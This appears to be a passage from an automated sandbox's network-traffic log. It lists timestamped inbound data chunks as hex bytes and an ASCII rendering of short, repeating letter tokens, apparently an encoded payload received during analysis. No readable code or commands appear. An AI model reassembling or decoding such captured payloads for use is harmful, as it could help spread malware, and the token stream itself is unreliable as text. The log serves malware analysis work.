2021-10-29 18:29:53 UTC	1294	IN	Data Raw: 4e 59 20 4c 43 20 4e 4e 72 20 72 49 20 72 49 20 59 56 20 63 43 20 4d 59 20 4e 56 59 20 56 72 49 20 57 57 20 4e 4e 56 20 59 43 20 59 43 20 56 4c 20 4c 56 20 63 72 20 4e 72 43 20 4e 4e 59 20 59 4c 20 4e 4e 56 20 59 43 20 59 72 20 63 59 20 4e 49 4c 20 49 72 20 4e 4e 72 20 4e 4e 59 20 56 43 4d 20 49 59 20 4c 4d 20 4c 63 20 56 43 72 20 72 49 20 4e 4c 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4d 20 4c 20 4e 4d 57 20 72 49 20 59 43 20 72 49 20 56 72 63 20 49 4d 20 4e 43 57 20 4e 56 4e 20 4e 72 56 20 59 56 20 4e 43 63 20 59 43 20 59 72 20 49 56 20 4e 20 56 72 72 20 4e 43 57 20 4e 4e 56 20 59 56 20 4e 72 63 20 56 4c 20 72 4d 20 63 72 20 4e 72 43 20 4e 4e 59 20 59 72 20 4e 4e 56 20 59 43 20 59 72 20 63 59 20 4e 49 4c 20 49 72 20 4e 4e 72 20 4e 4e 59 20 56 43 4d 20 49 59 20 Data Ascii: NY LC NNr rI rI YV cC MY NVY VrI WW NNV YC YC VL LV cr NrC NNY YL NNV YC Yr cY NIL Ir NNr NNY VCM IY LM Lc VCr rI NL NNr NNM NCM L NMW rI YC rI Vrc IM NCW NVN NrV YV NCc YC Yr IV N Vrr NCW NNV YV Nrc VL rM cr NrC NNY Yr NNV YC Yr cY NIL Ir NNr NNY VCM IY
2021-10-29 18:29:53 UTC	1295	IN	Data Raw: 4e 4e 49 20 59 56 20 56 43 63 20 59 56 20 59 43 20 49 63 20 4e 4e 72 20 4e 4e 59 20 4c 43 20 56 4e 4c 20 59 43 20 72 49 20 59 63 20 4c 43 20 63 49 20 4e 4e 72 20 4e 4e 4d 20 4d 43 20 49 49 20 4c 59 20 72 49 20 59 43 20 56 57 20 4e 56 72 20 56 59 43 20 4e 4e 4d 20 4e 43 57 20 4e 4e 49 20 56 72 20 56 56 20 72 57 20 59 43 20 49 4e 20 57 43 20 59 49 20 4e 43 57 20 4e 4e 56 20 59 56 20 56 63 20 59 43 20 59 72 20 4d 57 20 63 63 20 4e 4e 4c 20 4e 43 57 20 59 4d 20 59 4e 20 72 49 20 59 43 20 72 4e 20 49 72 20 4e 4e 72 20 4e 43 43 20 4e 43 59 20 4c 20 4e 57 43 20 72 57 20 59 43 20 72 49 20 4e 4e 4c 20 4e 20 56 4e 43 20 4e 43 57 20 4e 4e 56 20 59 63 20 57 59 20 57 4c 20 59 59 20 49 72 20 4e 4e 63 20 49 43 20 4c 43 20 4e 43 59 20 59 43 20 72 49 20 59 63 20 49 57 20 Data Ascii: NNI YV VCc YV YC Ic NNr NNY LC VNL YC rI Yc LC cI NNr NNM MC II LY rI YC VW NVr VYC NNM NCW NNI Vr VV rW YC IN WC YI NCW NNV YV Vc YC Yr MW cc NNL NCW YM YN rI YC rN Ir NNr NCC NCY L NWC rW YC rI NNL N VNC NCW NNV Yc WY WL YY Ir NNc IC LC NCY YC rI Yc IW
2021-10-29 18:29:53 UTC	1296	IN	Data Raw: 43 20 4e 49 20 49 72 20 4e 4e 72 20 4e 4e 63 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 56 4e 63 20 59 72 20 49 72 20 4e 4e 72 20 4e 56 63 20 4e 43 57 20 4e 4e 56 20 59 43 20 4e 57 49 20 59 43 20 59 72 20 49 72 20 4e 4e 4c 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 63 4e 20 72 49 20 59 43 20 59 59 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 4e 4e 57 20 49 59 20 4e 4e 72 20 4e 4e 4d 20 72 72 20 4e 4e 4c 20 59 43 20 72 49 20 59 4e 20 59 72 20 49 72 20 4e 4e 72 20 49 4e 20 4e 43 57 20 4e 4e 56 20 59 4e 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 4e 4e 59 20 72 57 20 59 43 20 59 72 20 56 56 20 4e 4e 59 20 4e 4e 4d 20 4e 43 57 20 4e 4e 4d 20 59 43 20 72 49 20 59 43 20 59 4d 20 Data Ascii: C NI Ir NNr NNc NCW NNV YC rI VNc Yr Ir NNr NVc NCW NNV YC NWI YC Yr Ir NNL NNM NCW NNV cN rI YC YY Ir NNr NNM NCW NNV YC rI YC NNW IY NNr NNM rr NNL YC rI YN Yr Ir NNr IN NCW NNV YN rI YC Yr Ir NNr NNM NCW NNV NNY rW YC Yr VV NNY NNM NCW NNM YC rI YC YM
2021-10-29 18:29:53 UTC	1298	IN	Data Raw: 57 20 4e 57 72 20 4e 43 57 20 4e 4e 56 20 59 63 20 56 72 20 4e 4c 57 20 59 59 20 49 72 20 4e 4e 63 20 4e 4e 4c 20 63 57 20 4e 59 43 20 59 43 20 72 49 20 59 56 20 4c 43 20 56 56 4d 20 4e 4e 59 20 4e 4e 4d 20 4e 43 4d 20 57 43 20 4c 4c 20 43 20 63 56 20 59 72 20 4e 57 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 43 20 72 56 20 4e 4e 4d 20 4e 4e 63 20 4e 43 57 20 4e 4e 63 20 4c 4e 20 56 43 20 4c 63 20 56 4c 43 20 4e 56 20 4e 4e 72 20 4e 4e 4d 20 4e 43 49 20 49 49 20 4e 4c 49 20 72 49 20 59 43 20 63 43 20 4e 4c 56 20 4e 56 63 20 4e 4e 4d 20 4e 43 57 20 4e 4e 72 20 56 63 20 4e 4c 63 20 59 43 20 59 72 20 57 72 20 57 43 20 56 43 72 20 4e 43 57 20 4e 4e 56 20 59 63 20 56 72 20 4e 4c 63 20 59 72 20 49 72 20 4e 56 43 20 56 72 Data Ascii: W NWr NCW NNV Yc Vr NLW YY Ir NNc NNL cW NYC YC rI YV LC VVM NNY NNM NCM WC LL C cV Yr NWr NNr NNM NCW NNV YC rI YC YC rV NNM NNc NCW NNc LN VC Lc VLC NV NNr NNM NCI II NLI rI YC cC NLV NVc NNM NCW NNr Vc NLc YC Yr Wr WC VCr NCW NNV Yc Vr NLc Yr Ir NVC Vr
2021-10-29 18:29:53 UTC	1299	IN	Data Raw: 4e 43 57 20 4e 4e 49 20 4c 59 20 59 56 20 57 4c 20 56 72 43 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4e 4e 4e 20 4e 4e 49 20 57 4c 20 4e 43 20 59 43 20 59 72 20 49 56 20 49 4d 20 4e 43 57 20 57 72 20 4e 56 43 20 72 49 20 59 4e 20 59 72 20 4c 43 20 4e 56 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4d 20 4e 43 59 20 4e 20 59 72 20 63 59 20 4e 59 4d 20 49 72 20 4e 4e 72 20 4e 56 4d 20 56 4c 20 57 43 20 59 43 20 72 49 20 59 4e 20 72 56 20 49 72 20 4e 4e 72 20 4e 4e 57 20 4e 43 57 20 57 4d 20 59 43 20 72 72 20 4c 4e 20 59 72 20 57 43 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 72 49 20 72 49 20 4e 4e 63 20 59 72 20 4d 56 20 4e 63 20 4e 4e 4d 20 57 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 4e 4d 63 20 49 63 20 57 43 20 4e 4d 4e 20 4e 43 57 20 4e 4e 56 20 59 56 20 57 Data Ascii: NCW NNI LY YV WL VrC Ir NNr NVM NNN NNI WL NC YC Yr IV IM NCW Wr NVC rI YN Yr LC NV NNr NNM NCM NCY N Yr cY NYM Ir NNr NVM VL WC YC rI YN rV Ir NNr NNW NCW WM YC rr LN Yr WC NNr NNM NCW NNV rI rI NNc Yr MV Nc NNM WW NNV YC rI YC NMc Ic WC NMN NCW NNV YV W
2021-10-29 18:29:53 UTC	1300	IN	Data Raw: 4c 20 49 4e 20 49 59 20 4e 4e 72 20 4e 4e 59 20 63 57 20 4e 56 59 20 59 43 20 72 49 20 59 56 20 49 57 20 4e 59 4d 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4c 20 4e 4e 72 20 59 56 20 57 59 20 4d 20 59 72 20 49 72 20 4e 4e 63 20 49 43 20 4e 4e 4d 20 63 4d 20 59 49 20 59 43 20 72 57 20 59 43 20 4e 56 72 20 4e 49 20 4e 4e 4d 20 4e 43 57 20 4e 4e 49 20 72 4c 20 4c 20 59 56 20 63 57 20 56 59 59 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4c 20 4e 43 20 56 72 20 4e 72 56 20 72 57 20 49 57 20 4d 20 4e 4e 59 20 4e 4e 4d 20 4e 43 4d 20 57 56 20 56 43 20 59 43 20 72 57 20 49 57 20 59 59 20 4e 4e 59 20 4e 4e 4d 20 4e 43 4d 20 49 49 20 4e 49 57 20 72 49 20 59 43 20 72 49 20 59 57 20 72 49 20 4e 4e 4d 20 4e 43 57 20 4e 4e 49 20 56 4c 20 72 43 20 4e 20 63 56 20 49 63 20 4e 4e 4c 20 4e 4e Data Ascii: L IN IY NNr NNY cW NVY YC rI YV IW NYM NNr NNM NCL NNr YV WY M Yr Ir NNc IC NNM cM YI YC rW YC NVr NI NNM NCW NNI rL L YV cW VYY NNr NNM NCL NC Vr NrV rW IW M NNY NNM NCM WV VC YC rW IW YY NNY NNM NCM II NIW rI YC rI YW rI NNM NCW NNI VL rC N cV Ic NNL NN
2021-10-29 18:29:53 UTC	1302	IN	Data Raw: 4d 4d 20 4e 4e 4d 20 4e 43 57 20 4e 4e 49 20 56 43 20 59 43 20 4c 4d 20 4e 49 4d 20 4e 56 4d 20 4e 4e 72 20 4e 4e 4d 20 4e 4e 4e 20 49 59 20 4c 63 20 63 4d 20 4e 59 59 20 59 72 20 49 72 20 4e 4e 63 20 56 4e 59 20 63 57 20 56 59 4c 20 59 43 20 72 49 20 59 56 20 49 57 20 56 4e 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4d 20 49 63 20 56 72 20 72 49 20 59 43 20 59 72 20 4d 4e 20 63 63 20 4e 4e 56 20 4e 43 57 20 4e 57 56 20 59 4e 20 72 49 20 59 43 20 4e 57 20 49 72 20 4e 4e 72 20 4e 43 43 20 4e 4e 4e 20 49 49 20 4e 49 72 20 72 49 20 59 43 20 72 49 20 4c 57 20 4e 4e 57 20 4e 4e 57 20 4e 43 57 20 4e 4e 49 20 59 63 20 72 4d 20 63 4e 20 4e 49 4d 20 57 43 20 4e 4e 72 20 4e 4e 4d 20 4e 4e 4e 20 49 59 20 4c 63 20 4c 63 20 56 43 72 20 72 49 20 4c 49 20 4e 4e 72 20 4e 4e 4d 20 Data Ascii: MM NNM NCW NNI VC YC LM NIM NVM NNr NNM NNN IY Lc cM NYY Yr Ir NNc VNY cW VYL YC rI YV IW VN NNr NNM NCM Ic Vr rI YC Yr MN cc NNV NCW NWV YN rI YC NW Ir NNr NCC NNN II NIr rI YC rI LW NNW NNW NCW NNI Yc rM cN NIM WC NNr NNM NNN IY Lc Lc VCr rI LI NNr NNM
2021-10-29 18:29:53 UTC	1303	IN	Data Raw: 63 57 20 56 72 49 20 59 43 20 72 49 20 59 56 20 72 49 20 4c 57 20 56 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 4d 57 20 59 63 20 59 4e 20 59 72 20 49 43 20 57 43 20 56 72 43 20 4e 43 57 20 4e 4e 56 20 59 56 20 59 72 20 56 43 72 20 72 49 20 49 56 20 4e 4e 56 20 4e 4e 4d 20 4e 43 4d 20 4c 20 4e 59 4e 20 72 49 20 59 43 20 63 43 20 4e 56 72 20 57 49 20 4e 4e 4d 20 4e 43 57 20 57 4e 20 56 63 20 4c 4c 20 59 43 20 59 72 20 4e 56 4d 20 57 43 20 56 72 4c 20 4e 43 57 20 4e 4e 56 20 59 56 20 56 72 20 4e 49 4e 20 59 72 20 49 72 20 4e 4e 63 20 4e 4e 59 20 4e 72 4d 20 4e 4e 49 20 59 4c 20 59 43 20 59 43 20 72 49 20 4c 57 20 56 4e 59 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 56 63 20 4c 56 20 59 43 20 59 72 20 4e 56 4d 20 57 43 20 4e 43 43 20 4e 43 57 20 4e 4e 56 20 56 Data Ascii: cW VrI YC rI YV rI LW VNr NNM NCW NVV MW Yc YN Yr IC WC VrC NCW NNV YV Yr VCr rI IV NNV NNM NCM L NYN rI YC cC NVr WI NNM NCW WN Vc LL YC Yr NVM WC VrL NCW NNV YV Vr NIN Yr Ir NNc NNY NrM NNI YL YC YC rI LW VNY NNM NCW NVV Vc LV YC Yr NVM WC NCC NCW NNV V
2021-10-29 18:29:53 UTC	1304	IN	Data Raw: 56 4e 63 20 59 72 20 49 72 20 4e 4e 72 20 4e 56 63 20 4e 43 57 20 4e 4e 56 20 59 43 20 4e 57 4d 20 59 43 20 59 72 20 49 72 20 4e 4e 59 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 56 56 20 72 49 20 59 43 20 59 59 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 59 72 20 59 43 20 72 49 20 59 43 20 63 4e 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 59 59 20 4e 4e 56 20 59 43 20 72 49 20 72 57 20 59 72 20 49 72 20 4e 4e 72 20 4e 56 56 20 4e 43 57 20 4e 4e 56 20 59 4e 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 72 4d 20 72 57 20 59 43 20 59 72 20 4d 4c 20 4e 4e 59 20 4e 4e 4d 20 4e 43 57 20 4e 4e 4c 20 59 43 20 72 49 20 59 43 20 4e 49 20 49 72 20 4e 4e 72 20 4e 4e 63 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 Data Ascii: VNc Yr Ir NNr NVc NCW NNV YC NWM YC Yr Ir NNY NNM NCW NNV VV rI YC YY Ir NNr NNM NCW NYr YC rI YC cN Ir NNr NNM NYY NNV YC rI rW Yr Ir NNr NVV NCW NNV YN rI YC Yr Ir NNr NNM NCW NNV rM rW YC Yr ML NNY NNM NCW NNL YC rI YC NI Ir NNr NNc NCW NNV YC rI YC Yr
2021-10-29 18:29:53 UTC	1306	IN	Data Raw: 20 56 72 20 4e 4c 59 20 59 72 20 49 72 20 4e 56 43 20 56 63 20 56 4e 57 20 4e 4e 56 20 59 43 20 59 49 20 57 4c 20 4e 56 57 20 49 72 20 4e 4e 72 20 4e 56 4d 20 63 57 20 56 43 4e 20 59 4e 20 72 49 20 59 56 20 59 43 20 4e 56 72 20 4e 72 49 20 4e 4e 4d 20 4e 43 57 20 4e 4e 49 20 56 63 20 4e 4c 59 20 59 4e 20 59 72 20 49 56 20 49 49 20 4e 43 56 20 57 4c 20 4e 56 72 20 59 43 20 4e 63 63 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 72 20 4d 49 20 59 63 20 59 59 20 49 72 20 4e 4e 49 20 49 49 20 4d 4c 20 4e 43 56 20 56 56 63 20 4e 43 72 20 59 43 20 59 72 20 49 59 20 57 43 20 56 43 59 20 4e 43 57 20 4e 4e 56 20 59 63 20 56 56 72 20 63 4c 20 59 72 20 49 72 20 4e 4e 56 20 57 4c 20 56 4e 4c 20 4e 4e 56 20 59 43 20 59 49 20 56 63 20 Data Ascii: Vr NLY Yr Ir NVC Vc VNW NNV YC YI WL NVW Ir NNr NVM cW VCN YN rI YV YC NVr NrI NNM NCW NNI Vc NLY YN Yr IV II NCV WL NVr YC Ncc YC Yr Ir NNr NNM NCW NNV Yr MI Yc YY Ir NNI II ML NCV VVc NCr YC Yr IY WC VCY NCW NNV Yc VVr cL Yr Ir NNV WL VNL NNV YC YI Vc
2021-10-29 18:29:53 UTC	1307	IN	Data Raw: 20 49 43 20 57 43 20 4e 72 72 20 4e 43 57 20 4e 4e 56 20 59 56 20 57 59 20 4e 63 56 20 59 59 20 49 72 20 4e 4e 63 20 4e 43 43 20 4e 43 59 20 4c 4e 20 56 72 72 20 72 49 20 59 43 20 63 43 20 49 43 20 57 43 20 56 43 4e 20 4e 43 49 20 4e 4e 56 20 59 56 20 59 72 20 57 4c 20 63 4d 20 49 59 20 4e 4e 72 20 4e 4e 59 20 4d 4e 20 4e 4e 56 20 59 43 20 72 57 20 72 63 20 59 72 20 49 72 20 4e 4e 56 20 4e 4e 4d 20 4e 56 72 20 4e 4e 56 20 72 63 20 56 57 20 59 43 20 59 63 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 72 20 59 43 20 4e 4e 49 20 59 43 20 72 56 20 59 72 20 4e 4e 72 20 4e 56 4c 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 4e 4e 63 20 59 43 20 4e 56 72 20 56 43 63 20 4e 4e 63 20 4e 43 57 20 4e 4e 49 20 56 63 20 56 4c 49 20 59 43 20 59 72 20 49 56 20 56 Data Ascii: IC WC Nrr NCW NNV YV WY NcV YY Ir NNc NCC NCY LN Vrr rI YC cC IC WC VCN NCI NNV YV Yr WL cM IY NNr NNY MN NNV YC rW rc Yr Ir NNV NNM NVr NNV rc VW YC Yc Ir NNr NNM NCW NNr YC NNI YC rV Yr NNr NVL NCW NNV YC rI NNc YC NVr VCc NNc NCW NNI Vc VLI YC Yr IV V
2021-10-29 18:29:53 UTC	1308	IN	Data Raw: 72 20 49 56 20 56 57 20 56 56 59 20 4e 43 57 20 4e 4e 56 20 59 56 20 72 43 20 4e 57 4e 20 56 57 20 49 72 20 4e 4e 72 20 4e 4e 57 20 4d 56 20 4e 43 56 20 63 59 20 4e 63 4c 20 59 43 20 59 72 20 49 56 20 56 43 49 20 49 43 20 4e 56 56 20 4e 4e 49 20 4e 72 72 20 56 72 20 4e 57 4e 20 59 72 20 49 72 20 4e 4e 63 20 4e 56 63 20 4e 43 63 20 4e 4e 59 20 57 4c 20 49 57 20 59 4e 20 59 72 20 49 56 20 57 43 20 56 72 57 20 4e 43 57 20 4e 4e 56 20 59 56 20 57 59 20 56 72 49 20 59 72 20 49 72 20 4e 56 43 20 4e 4e 4c 20 63 57 20 56 43 72 20 59 4e 20 72 49 20 59 56 20 72 57 20 59 57 20 56 72 4c 20 4e 4e 63 20 4e 43 57 20 4e 4e 49 20 56 72 20 4e 63 63 20 72 57 20 49 57 20 59 4c 20 4e 4e 59 20 4e 4e 4d 20 4e 43 4d 20 57 56 20 72 63 20 59 56 20 56 63 20 4e 4c 49 20 49 59 20 4e Data Ascii: r IV VW VVY NCW NNV YV rC NWN VW Ir NNr NNW MV NCV cY NcL YC Yr IV VCI IC NVV NNI Nrr Vr NWN Yr Ir NNc NVc NCc NNY WL IW YN Yr IV WC VrW NCW NNV YV WY VrI Yr Ir NVC NNL cW VCr YN rI YV rW YW VrL NNc NCW NNI Vr Ncc rW IW YL NNY NNM NCM WV rc YV Vc NLI IY N
2021-10-29 18:29:53 UTC	1312	IN	Data Raw: 72 20 4e 56 43 20 49 57 20 4e 43 72 20 4e 43 4c 20 4c 4c 20 59 72 20 56 59 20 63 4c 20 4d 43 20 4e 56 56 20 57 4c 20 49 49 20 4e 4e 56 20 59 43 20 59 49 20 4c 4e 20 56 4c 56 20 4e 4c 49 20 4e 56 72 20 4e 43 4c 20 4e 43 4e 20 4e 72 56 20 4c 63 20 59 63 20 59 43 20 59 72 20 4d 57 20 56 57 20 4e 56 63 20 4e 43 57 20 4e 4e 56 20 59 63 20 56 4c 63 20 4c 59 20 72 49 20 4e 4e 43 20 4e 4d 63 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 4c 4c 20 59 59 20 63 57 20 72 49 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4c 20 57 57 20 59 63 20 4c 4c 20 59 63 20 49 57 20 4e 4c 59 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4c 20 57 57 20 59 4c 20 4c 49 20 4c 4c 20 63 4e 20 63 63 20 57 4d 20 4e 56 4e 20 4d 43 20 59 4d 20 4c 59 20 59 57 20 4c 4e 20 4e 56 4c 20 63 63 20 57 4d 20 4e 56 43 20 4d Data Ascii: r NVC IW NCr NCL LL Yr VY cL MC NVV WL II NNV YC YI LN VLV NLI NVr NCL NCN NrV Lc Yc YC Yr MW VW NVc NCW NNV Yc VLc LY rI NNC NMc NNM NCW NNV YC LL YY cW rI NNr NNM NCL WW Yc LL Yc IW NLY NNr NNM NCL WW YL LI LL cN cc WM NVN MC YM LY YW LN NVL cc WM NVC M
2021-10-29 18:29:53 UTC	1316	IN	Data Raw: 20 4e 4e 4d 20 4e 43 57 20 4e 4d 57 20 72 49 20 72 49 20 59 43 20 59 4c 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 57 49 20 4e 4e 56 20 59 43 20 72 57 20 72 49 20 59 72 20 49 72 20 4e 4e 72 20 4e 43 4e 20 4e 43 57 20 4e 4e 56 20 59 43 20 56 72 4c 20 72 49 20 59 72 20 49 72 20 4e 63 4e 20 4e 4e 57 20 4e 43 57 20 4e 4e 56 20 59 63 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 72 49 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 49 43 20 4e 4e 72 20 59 43 20 72 49 20 56 4c 4d 20 59 56 20 49 72 20 4e 4e 72 20 4e 4e 49 20 4e 43 57 20 4e 4e 56 20 59 43 20 59 49 20 59 43 20 59 72 20 49 59 20 4e 43 59 20 63 57 20 4e 43 59 20 4e 4e 56 20 4e 56 4c 20 72 57 20 59 43 20 59 72 20 4e 56 63 20 4e 4e 72 20 4e 4e 4d 20 Data Ascii: NNM NCW NMW rI rI YC YL Ir NNr NNM WI NNV YC rW rI Yr Ir NNr NCN NCW NNV YC VrL rI Yr Ir NcN NNW NCW NNV Yc rI YC Yr Ir NNr NNM NCW NNV YC rI YC rI Ir NNr NNM NIC NNr YC rI VLM YV Ir NNr NNI NCW NNV YC YI YC Yr IY NCY cW NCY NNV NVL rW YC Yr NVc NNr NNM
2021-10-29 18:29:53 UTC	1317	IN	Data Raw: 56 43 20 4e 63 57 20 4e 56 72 20 4e 4e 4d 20 4c 4e 20 4c 56 20 59 4c 20 4c 57 20 49 43 20 4e 4e 4c 20 4e 4e 4c 20 63 57 20 56 56 72 20 59 43 20 72 49 20 59 56 20 4c 43 20 63 63 20 4e 4e 72 20 4e 4e 4d 20 4d 43 20 4e 56 4c 20 59 57 20 57 59 20 63 56 20 59 72 20 49 72 20 4e 56 43 20 49 49 20 56 59 59 20 4e 4d 72 20 59 63 20 59 4d 20 4c 43 20 72 49 20 57 4c 20 56 57 20 4e 56 63 20 4e 43 57 20 4e 4e 56 20 59 63 20 56 4c 63 20 56 4c 63 20 59 4c 20 4e 4e 72 20 4e 4d 56 20 4e 4e 4d 20 4e 43 59 20 57 57 20 59 49 20 4c 49 20 4c 4c 20 63 4c 20 4e 56 4d 20 49 4c 20 4e 43 43 20 4e 43 4e 20 57 4d 20 59 57 20 4e 4d 43 20 4c 4c 20 63 43 20 49 4c 20 4e 4e 56 20 4e 43 43 20 4e 43 4c 20 49 49 20 56 4c 4c 20 72 49 20 59 43 20 63 43 20 4e 56 72 20 4e 43 43 20 4e 4e 4d 20 4e Data Ascii: VC NcW NVr NNM LN LV YL LW IC NNL NNL cW VVr YC rI YV LC cc NNr NNM MC NVL YW WY cV Yr Ir NVC II VYY NMr Yc YM LC rI WL VW NVc NCW NNV Yc VLc VLc YL NNr NMV NNM NCY WW YI LI LL cL NVM IL NCC NCN WM YW NMC LL cC IL NNV NCC NCL II VLL rI YC cC NVr NCC NNM N
2021-10-29 18:29:53 UTC	1322	IN	Data Raw: 56 20 59 63 20 63 4e 20 4d 63 20 72 43 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4e 56 63 20 4e 4e 63 20 4d 63 20 72 63 20 59 43 20 59 72 20 57 72 20 57 4d 20 4e 4e 56 20 4e 43 43 20 4c 20 4e 63 20 72 49 20 59 43 20 63 43 20 4e 56 72 20 49 4e 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 57 4c 20 56 43 20 59 43 20 59 72 20 57 72 20 57 4d 20 4e 4e 4c 20 4e 56 72 20 4e 4e 63 20 72 59 20 63 4c 20 4e 57 4e 20 4e 43 49 20 49 72 20 4e 4e 72 20 4e 4e 63 20 4d 56 20 4e 63 43 20 56 4e 59 20 72 49 20 59 43 20 59 43 20 4e 56 72 20 63 57 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 63 59 20 49 20 59 43 20 59 72 20 57 72 20 56 57 20 49 43 20 4e 43 57 20 4e 4e 56 20 59 63 20 56 49 20 72 43 20 72 43 20 56 4e 4d 20 72 43 20 4e 4e 4d 20 4e 43 57 20 4e 4e 4c 20 56 4c 20 56 56 72 20 56 59 59 Data Ascii: V Yc cN Mc rC Ir NNr NVM NVc NNc Mc rc YC Yr Wr WM NNV NCC L Nc rI YC cC NVr IN NNM NCW NVV WL VC YC Yr Wr WM NNL NVr NNc rY cL NWN NCI Ir NNr NNc MV NcC VNY rI YC YC NVr cW NNM NCW NVV cY I YC Yr Wr VW IC NCW NNV Yc VI rC rC VNM rC NNM NCW NNL VL VVr VYY
2021-10-29 18:29:53 UTC	1326	IN	Data Raw: 4e 4c 20 59 72 20 49 72 20 4e 4e 72 20 4e 43 63 20 4e 4e 57 20 49 49 20 57 63 20 72 49 20 59 43 20 63 43 20 4d 59 20 4e 43 4e 20 56 72 49 20 59 59 20 4e 4e 56 20 59 43 20 72 57 20 56 4c 20 56 4c 43 20 4e 4c 43 20 4e 4e 72 20 4e 4e 4d 20 4e 43 59 20 49 49 20 59 20 72 49 20 59 43 20 63 43 20 4c 57 20 4d 72 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 56 63 20 56 4d 20 59 43 20 59 72 20 57 72 20 57 4d 20 4e 56 59 20 4e 43 4d 20 4c 20 4e 57 57 20 72 49 20 59 43 20 72 49 20 4d 4e 20 4e 4e 49 20 4e 43 43 20 4e 43 59 20 57 49 20 59 4e 20 56 72 20 56 4e 57 20 59 72 20 49 72 20 4e 56 43 20 56 63 20 4e 4c 4e 20 4e 4e 56 20 59 43 20 59 72 20 4c 59 20 59 43 20 63 4d 20 56 59 59 20 72 4d 20 4e 43 57 20 4e 4e 56 20 59 4e 20 56 4e 20 4c 63 20 72 4e 20 4e 56 63 20 56 4c 57 20 Data Ascii: NL Yr Ir NNr NCc NNW II Wc rI YC cC MY NCN VrI YY NNV YC rW VL VLC NLC NNr NNM NCY II Y rI YC cC LW Mr NNM NCW NVV Vc VM YC Yr Wr WM NVY NCM L NWW rI YC rI MN NNI NCC NCY WI YN Vr VNW Yr Ir NVC Vc NLN NNV YC Yr LY YC cM VYY rM NCW NNV YN VN Lc rN NVc VLW
2021-10-29 18:29:53 UTC	1330	IN	Data Raw: 20 59 4d 20 59 43 20 4d 43 20 4e 56 72 20 4e 4d 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 63 72 20 4e 4e 57 20 59 63 20 59 72 20 4c 63 20 4e 56 20 4e 43 4d 20 4e 43 57 20 4e 4e 56 20 59 63 20 57 59 20 72 59 20 59 72 20 49 72 20 4e 56 43 20 4d 20 4e 63 20 4e 56 56 20 59 43 20 63 72 20 63 72 20 4e 59 59 20 57 72 20 4e 4e 72 20 59 20 4e 57 20 4e 4e 43 20 59 43 20 72 49 20 59 63 20 4c 43 20 4d 59 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4c 20 49 49 20 4e 4e 20 72 49 20 59 43 20 63 43 20 59 57 20 4e 4c 43 20 4e 4e 4d 20 4e 43 57 20 4e 4e 49 20 56 4c 20 63 63 20 4e 72 4c 20 63 43 20 49 72 20 56 20 4d 20 4e 56 72 20 4e 56 4c 20 59 43 20 63 72 20 4d 63 20 72 43 20 49 72 20 4e 4e 72 20 4e 56 4d 20 63 57 20 4e 4e 4e 20 59 43 20 72 49 20 59 63 20 4c 43 20 4d 63 20 4e 4e 72 20 Data Ascii: YM YC MC NVr NM NNM NCW NVV cr NNW Yc Yr Lc NV NCM NCW NNV Yc WY rY Yr Ir NVC M Nc NVV YC cr cr NYY Wr NNr Y NW NNC YC rI Yc LC MY NNr NNM NCL II NN rI YC cC YW NLC NNM NCW NNI VL cc NrL cC Ir V M NVr NVL YC cr Mc rC Ir NNr NVM cW NNN YC rI Yc LC Mc NNr
2021-10-29 18:29:53 UTC	1334	IN	Data Raw: 20 56 49 20 72 49 20 59 43 20 59 56 20 72 4d 20 49 63 20 4e 4e 4d 20 4e 43 57 20 4e 4e 63 20 57 4e 20 57 59 20 4e 57 56 20 59 72 20 49 72 20 4e 56 43 20 56 4e 59 20 49 59 20 56 56 63 20 59 43 20 72 49 20 59 43 20 59 56 20 72 4d 20 4e 43 56 20 4e 4e 4d 20 4e 43 57 20 4e 4e 63 20 59 4c 20 59 63 20 4e 43 63 20 4e 49 59 20 4e 43 43 20 4e 4e 72 20 4e 4e 4d 20 4e 4e 4e 20 4e 4e 20 56 4d 20 72 49 20 59 43 20 59 43 20 63 57 20 4e 56 59 20 4e 43 63 20 57 4d 20 56 59 4c 20 4e 43 72 20 72 49 20 59 43 20 59 59 20 4e 4e 4c 20 4e 63 56 20 4e 4c 59 20 4e 43 57 20 4e 4e 56 20 59 72 20 56 72 20 59 20 59 72 20 49 72 20 4e 56 43 20 63 20 49 59 20 4e 4e 56 20 59 43 20 